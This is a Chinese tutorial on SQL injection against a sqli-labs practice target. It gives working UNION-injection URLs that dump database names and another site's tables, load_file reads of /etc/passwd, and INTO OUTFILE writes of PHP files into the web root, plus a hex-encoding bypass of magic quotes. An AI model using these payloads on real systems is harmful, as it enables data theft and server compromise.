SQL注入-跨站注入-主机文件读写
1. information_schema
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
-
schemata 表
mysql> select * from schemata; +--------------+--------------------+----------------------------+------------------------+----------+ | CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | +--------------+--------------------+----------------------------+------------------------+----------+ | def | information_schema | utf8 | utf8_general_ci | NULL | | def | challenges | gbk | gbk_chinese_ci | NULL | | def | mysql | latin1 | latin1_swedish_ci | NULL | | def | performance_schema | utf8 | utf8_general_ci | NULL | | def | security | gbk | gbk_chinese_ci | NULL | +--------------+--------------------+----------------------------+------------------------+----------+ 5 rows in set (0.00 sec)
可以看到这个表中储存着这个连接中的所有数据库
-
TABLES 表
存储数据库中的表信息(包括视图),包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。SHOW TABLES FROM XX; 命令从这个表获取结果。
mysql> select TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME from tables limit 0,5; +---------------+--------------------+---------------------------------------+ | TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | +---------------+--------------------+---------------------------------------+ | def | information_schema | CHARACTER_SETS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATION_CHARACTER_SET_APPLICABILITY | | def | information_schema | COLUMNS | | def | information_schema | COLUMN_PRIVILEGES | +---------------+--------------------+---------------------------------------+ 5 rows in set (0.00 sec)
-
COLUMNS 表
存储表中的列信息,包括表有多少列、每个列的类型等。SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果
mysql> SELECT TABLE_CATALOG,TABLE_SCHEMA,TABLE_NAME FROM COLUMNS LIMIT 2,5; +---------------+--------------------+----------------+ | TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | +---------------+--------------------+----------------+ | def | information_schema | CHARACTER_SETS | | def | information_schema | CHARACTER_SETS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATIONS | | def | information_schema | COLLATIONS | +---------------+--------------------+----------------+
-
USER_PRIVILEGES 表
mysql> SELECT * FROM USER_PRIVILEGES limit 0,5; +--------------------+---------------+----------------+--------------+ | GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE | +--------------------+---------------+----------------+--------------+ | 'root'@'localhost' | def | SELECT | YES | | 'root'@'localhost' | def | INSERT | YES | | 'root'@'localhost' | def | UPDATE | YES | | 'root'@'localhost' | def | DELETE | YES | | 'root'@'localhost' | def | CREATE | YES | +--------------------+---------------+----------------+--------------+ 5 rows in set (0.00 sec)
2.跨站攻击
两个网站搭建在同一台服务器上都在使用MYsql数据库,我们可以通过在一个网站上的sql注入点访问另一个网站所关联的数据库从而得到我们想要的信息,但是这个必须建立在注入sql点的sql数据库权限为root等高级用户
在靶机上准备数据库,模拟在另一个网站所关联的数据库,我们这里访问的网站所关联的数据库是 security
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| book |
| challenges |
| mysql |
| performance_schema |
| security |
+--------------------+
6 rows in set (0.00 sec)
mysql> show tables;
+----------------+
| Tables_in_book |
+----------------+
| book |
+----------------+
1 row in set (0.00 sec)
mysql> desc book;
+-----------------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-----------------+------------------+------+-----+---------+----------------+
| book_id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| book_title | varchar(100) | NO | | NULL | |
| book_author | varchar(40) | NO | | NULL | |
| submission_date | date | YES | | NULL | |
+-----------------+------------------+------+-----+---------+----------------+
4 rows in set (0.02 sec)
在注入点我们可以
[http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata](http://192.168.222.131/Less-2/?id= 1 and 1=2 union select 1,group_concat(SCHEMA_NAME%20),3 from information_schema.schemata)
在查看到所有的数据库名字,通过得到的数据库book名字得到表名
在上一篇里面有写:
https://blog.csdn.net/m0_52149675/article/details/123804038?spm=1001.2014.3001.5501
查看到表book里面的所有信息,我们可以依据这个得到另一个网站上的管理员数据,从而得到我们需要的权限
[http://192.168.222.131/Less-2/?id=1%20and%201=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book](http://192.168.222.131/Less-2/?id=1%20and%201=2 union select 1,group_concat(book_title),group_concat(book_author) from book.book)
3.文件读写函数
参考地址:https://www.sqlsec.com/2020/11/mysql.html
load_file 文件读取
into outfile 或into dumpfile 文件写入
查询是否有写入的权限
mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
我们这里不限制目录
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
mysql> select load_file('/etc/passwd')\G;
*************************** 1. row ***************************
load_file('/etc/passwd'):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
1 row in set (0.01 sec)
常见的load_file()读取的敏感信息:https://blog.csdn.net/weixin_30292843/article/details/99381669
在网站上读取信息:http://192.168.222.131/Less-2/?id=1%20and%201=2%20union%20select%201,load_file(%27/etc/passwd%27),3
mysql> select '<?php phpinfo() ?>' into outfile './php';
Query OK, 1 row affected (0.00 sec)
mysql> exit
Bye
root@62153ed301ab:/# cat /var/lib/mysql/php
<?php phpinfo() ?>
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/php';
ERROR 1 (HY000): Can't create/write to file '/var/www/php' (Errcode: 13)
在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。
对目录修改权限测试
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
ERROR 1 (HY000): Can't create/write to file '/var/www/html/test.php' (Errcode: 13)
mysql> \q
root@62153ed301ab:/# chmod -Rf 777 /var/www/html
root@62153ed301ab:/# mysql
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php';
Query OK, 1 row affected (0.01 sec)
mysql> select load_file('/var/www/html/test.php');
+-------------------------------------+
| load_file('/var/www/html/test.php') |
+-------------------------------------+
| <?php phpinfo() ?>
|
+-------------------------------------+
1 row in set (0.00 sec)
在网页上:
这里的 --+ 注释掉后面的语句 如一些自动加上的 limit 0,1
查看:
http://192.168.222.131/Less-2/?id=-1%20union%20select%201,load_file(%27/var/www/html/test.php%27),3
4.魔术引号
在一个项目中,魔术引号若是打开的话,所有的反斜线(\)、单引号(’)、双引号(")、NULL 字符都会被自动加上一个反斜线进行转义,这和 addslashes() 作用完全相同。
正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。
由于docker搭建的环境是PHP5.5版本的没有魔术引号、故不做演示
phpstudy环境中PHP版本选择为5.2.17时在php.ini文件中魔术引号的开关
绕过方法
采用**hex(16进制)**编码绕过因为对路径进行编码之后魔术引号不会再对其生效也就是说绕过了魔术引号的作用达到绕过。
编码软件:小葵
相关防护
int函数
对输入的数字进行判断是否
if(is_int($id)){
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
}else{
echo 'ni shi sha?';
}
防护软件一般也是对关键字进行防护、触发了waf等安全软件规则会将数据包丢弃。